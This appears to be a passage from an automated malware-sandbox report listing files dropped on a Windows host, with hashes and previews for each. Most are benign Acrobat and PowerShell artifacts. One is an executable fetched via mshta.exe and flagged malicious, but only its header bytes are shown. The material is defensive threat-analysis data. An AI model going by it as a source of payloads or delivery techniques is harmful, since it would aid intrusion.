Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287339330730741
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJfFldPeUkwRe9:YvXKX+HSQW0c0nGz8Ukee9
MD5:	BC650EE1D0762690FB18CB1F733DCB90
SHA1:	FA4035968596AE99964CAB410D43C97D4DF9ADE6
SHA-256:	5BD81CF6826C4E46DB0DAF2EC3C243A9B8A02613347964B59D2A5F094347A3BF
SHA-512:	D236E4755EC88293696B6B54C0911BB5A8C130AF6EEA583E46EB00D5A2F60DBB67CED9FC2850F59456DD14225E5C868B3434EDC75E5FEEBFCD6E3D2048BCA807
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.303305225400182
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJfzdPeUkwRe9:YvXKX+HSQW0c0nGb8Ukee9
MD5:	AC1D35C3CCDFF831183FA30035FA044B
SHA1:	3E6A85A5AA6DEEE3629E63D226866651C4D8BC4B
SHA-256:	F556153C6CD5D0E5C5A49772424B6A02B10B8BCDA56B4C41AE401FBE36FF099B
SHA-512:	B9CCC5FB807AF885787F516B857DE3ACB94F033903AD225E9A9185417D97430A3EE417532CC8870C8FEE56B20A6CDAD5FB7F4F5F9CF4B8B44A481EE4A5C32E00
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283615575879369
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJfYdPeUkwRe9:YvXKX+HSQW0c0nGg8Ukee9
MD5:	A512039E0103158E93D4845EFCD44074
SHA1:	481F32633661E9E69D71C37BD6233C5FDB1F7CFD
SHA-256:	B5C53B2EE0333FBE97404092329A852E1AF65824B2BAA2843B946AA7EBFAA89F
SHA-512:	5979854C27C511B8406A72BCC203A98374EF7B3D52CB7047DF0D75771410CC9A821B55A3A5BE1CB995FA427A85CF04AF6FAF53F2D7338298DDDFC8D9CC24987F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.269377490531105
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJf+dPeUkwRe9:YvXKX+HSQW0c0nG28Ukee9
MD5:	EE02A036B118ED1AB215B33E7C9F1B96
SHA1:	F3F707BA93E583C10C0C1315D8947DD1486AD36D
SHA-256:	F65EAF2BD70310B29F83EF8D086874A5A21C558E4979E34F11EA6C2F899CBDD0
SHA-512:	728DAD98C811218E77A883343D288BFE4F66C5FE3E7237F84C6CBAA23A41CDFB7613E51FCAEE60887E47077B884CCE72260DA8BC4079FC0AAC2CFA06E3569BD2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.267275281279148
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJfbPtdPeUkwRe9:YvXKX+HSQW0c0nGDV8Ukee9
MD5:	11C5B16BA45EFCBC0356B756F2C8C5F7
SHA1:	7AC7791FCCCDCBB97899CBC51B2B4EE4106ABC94
SHA-256:	8248AF5748660513B01F8759351A16B5ED10C5E003FC11C75E3EE59B597404A7
SHA-512:	FC4B24BBD4986B3B0A3E29F4CEA813EE3CB047F6FC0EA75D4A8ACF7B1DDE7A56C8F4F9A3A7D4F3556476B8C68BED11DEEAF1E148A78B10E6DFF5CFEEBD179BFA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.270429816695237
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJf21rPeUkwRe9:YvXKX+HSQW0c0nG+16Ukee9
MD5:	4B9280D5BF14CB306EE737B3BF07E62E
SHA1:	5337F2C94DF6278532E9F1FA1D21E69583EF44CF
SHA-256:	CF72363ACB718A5E6D587FA6A43C0069B61EA68C69837390376AEA841023EA73
SHA-512:	AACB98E18906B681157B6564166C6DEC2DA69A9FF24F03D9CB47B32B710542278ED5EEFDD8C589E7F5568CEB3D3D4627B656DC8E7434B43B0715BB29269DAE49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665549536555726
Encrypted:	false
SSDEEP:	24:Yv6X+HSQWZ1amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSc+Sn:Yvo/BgkDMUJUAh8cvMc+Sn
MD5:	07D7D088C7539980D9552D745202443E
SHA1:	249A844E158074949A1984FB495B043B0AC2F602
SHA-256:	C0ACAB09E2C36A322007A0F9893C7648691EE6DA207E44115F54E06E1A70A09C
SHA-512:	8E9C1F70C951BD900667A6EDABDB856C5D6BEA95C7D35B14338E7E4C91B289C145446CF4782501089A3788A18F33096929FF8EA4037CC95C7C5935AE5E0337F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.248002420979918
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJfshHHrPeUkwRe9:YvXKX+HSQW0c0nGUUUkee9
MD5:	098DF9A61384C8AE53E42ECBCF1535B7
SHA1:	99DCC6FF52B2983CAF2A57C6E8AF967C40C2A50B
SHA-256:	A8951F13EFEE18D4C946CC410FD3565D5D839A1476C84EF5E649F9F57196E1D3
SHA-512:	43FFDDA3AC09CADB3C64CF2BBAD0D73C55913990C672DC4E7810885ED1106F7251D13A49DDF8F7DA8714541AB85471C9C6D434C8C0C4161C98F86E2B74D28E56
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.263702312800073
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJTqgFCrPeUkwRe9:YvXKX+HSQW0c0nGTq16Ukee9
MD5:	ACD096B298C130AAFD9B8385B7BAA779
SHA1:	41A4142A9CFBF9B8A7F813C0F8F69E195BD450A2
SHA-256:	1FEDB73E6642EB390E25A30B5353256D1E5A8BCE1BC45BEA502A8ED4949A4F88
SHA-512:	C4EB9C1B0DA5B2B9EEE3A0AE30828D638333A9BA85DEE01BE1BC253F5C9956EAD80B4461AA0DE2CA69F38C58396D9E13731971FCC4A170D18A89447DB13A39D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.146717399965953
Encrypted:	false
SSDEEP:	48:YnglblEAAh+sQlzb/uZH9p+tmU1MrOdqG1UHw9p:6glBEAAh+sQhb/uZH9QmU1Mr61pp
MD5:	0880F33C144F5E3932BEC2C186FBC893
SHA1:	C2F99A4E2991AB4723B00D206AFA5435C2C97B0E
SHA-256:	C6492351EEEBC5668B9629039101C9C16C00E4F8FC6B9845A4AF52F254C5997F
SHA-512:	8D964CBF589E9BA2D6055BE5A12F1EB2E6B10C9D90F0400B7734D9C18EE49A739366C2BADF9BFAA260C5E4BCD208269F98C93787D5ED9146D691419AFE9086C1
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2bb273ac3a705d29ca860eb76f64a800","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1734939582000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"650b226fdcdaff76fac5cdfe44904040","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1734939582000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b2ed1482a30f0dd114c9c4cfba301bbe","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1734939582000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8a3eefa0a2aa55671cfa8784621a12b2","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1734939582000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"8318da5b5f180e169e7a8c57a281ac8b","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":289,"ts":1734939582000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"84e6e486ad696ccd7f5afa957a883378","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1462091724206385
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursl2WEcyRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudI8:TFl2GL7msQcsXc+XcGNFlRYIX2v3kNcy
MD5:	68026FAF015906C52BB19472C66B6C50
SHA1:	486D37DA27F3C426E6A2FF37D9D4E52CB6CB1439
SHA-256:	425734D6562224411E076A90D9F506B91D55579265A80E7691A2FA5DF1ED1207
SHA-512:	CF23B10329F67AA8E007B2948D2E761169C0CD440F8A6BDF96B50196643B82A9707D6F371FBB621EED9CAE0E839BCE3B871E21070AD8A0080C81BD1C8D5DB871
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5526816785518434
Encrypted:	false
SSDEEP:	48:7MLcbXc+XcGNFlRYIX2vHfqVl2GL7msMO:7YiXc+XckFPYIX2naVmsMO
MD5:	6DBB153200505A194E1929B1D13632BA
SHA1:	5313BB665FEB4606F20191761172B280B5323F91
SHA-256:	D9DF1ADD042ADCCFBDA2526ABED81005DCF97BA2A72C69278E428E5A762E363E
SHA-512:	5C51CF3F19591090A873202BEC26C9C8604934BA57425FF2062BD8AF4D1FF328F43B84332FE47FC81AB2103FCB959E38CF385C77FEC5E0F278E5FEA9BBEB53CD
Malicious:	false
Preview:	.... .c........&..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg2FYwiqlFIoPTRJj93Dnn3yDFbYyu:6a6TZ44ADE2FkqlFHTx3ypbK
MD5:	680B87DBD3DAD3BB7F66BBFFBA2A67D7
SHA1:	CC35092437F88F97D7F7F5C83B6A9B29D49409EF
SHA-256:	C15F3DB92175652E4597D73A02F91498F9F996695B6BF1915C141593E57EAD3A
SHA-512:	416494FA53F522B411A00BEDE30317212848855CD9FC55A0C669E8082D7FC2C77590DA39700D70110C736AF22DE2C26BF3354F33DDCFEAB772C47996BDEAA884
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ghepduy1325[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	441103
Entropy (8bit):	6.365912893429534
Encrypted:	false
SSDEEP:	6144:IhaNDyEJXsEy62haNDyEJXsEy6fhaNDyEJXsEy6sXhaNDyEJXsEy64haNDyEJXsg:Hj186Nj186Oj186Bj186Xj186Z
MD5:	2BD68D94BB8A8AA2EB2A55AEC2F6D67F
SHA1:	983FAFE5DAB0FC49F198024581FAC12ABD0A60D4
SHA-256:	B9CF5350F612DFE60C3CB4069E857D4B6D54DA8A3D1AD17D39CA9E319CE34A7E
SHA-512:	F55CCA990E7A732AE10AC48239E08C502C797548C64CD37BE732DFA36CEFE0D7A71C95DF0A68C27B64C97E5DA2E59252501E297526EF65836CF4590A746A9508
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(.z.{.z.{.z.{...z.z.{...z.z.{...z.z.{...z.z.{.z.{.{.{...z.z.{...{.z.{...z.z.{Rich.z.{........................PE..L............................T......P.............@..........................p......&.....@...... ..........................P...,....P..(....................`.......1..T...............................................L.......@....................text............................... ..`.data...\|...........................@....idata..D).......*..................@..@.didat.......@.......$..............@....rsrc...(....P.......&..............@..@.reloc.......`.......2..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\MSI6dc34.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.51161293806784
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8rOlAYlcoH:Qw946cPbiOxDlbYnuRKDlfGu
MD5:	6B7B27B2F25006758EEE3E8E35986644
SHA1:	62AB063A19C15295F7659C22F3F59319AA7C3362
SHA-256:	72A1F1BBD2349DA663FC2B0AB6BC26A382EC27AB243FEA66589FF949CCB0D1B9
SHA-512:	F4A029B20078E922987DB174607370513044DFDFC74C87523070A90C4640BE25610F824A21D881FE7BC1073DB2FAFFAC753259DE6E29417F053A1E8F6F47BFA9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .2.3./.1.2./.2.0.2.4. . .0.2.:.3.9.:.4.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1bj1cihg.rmc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4epevosd.nox.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g2ja1wn2.weg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iekj1rtn.mnx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jslyiz4z.vr1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kv5sw1sp.54v.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
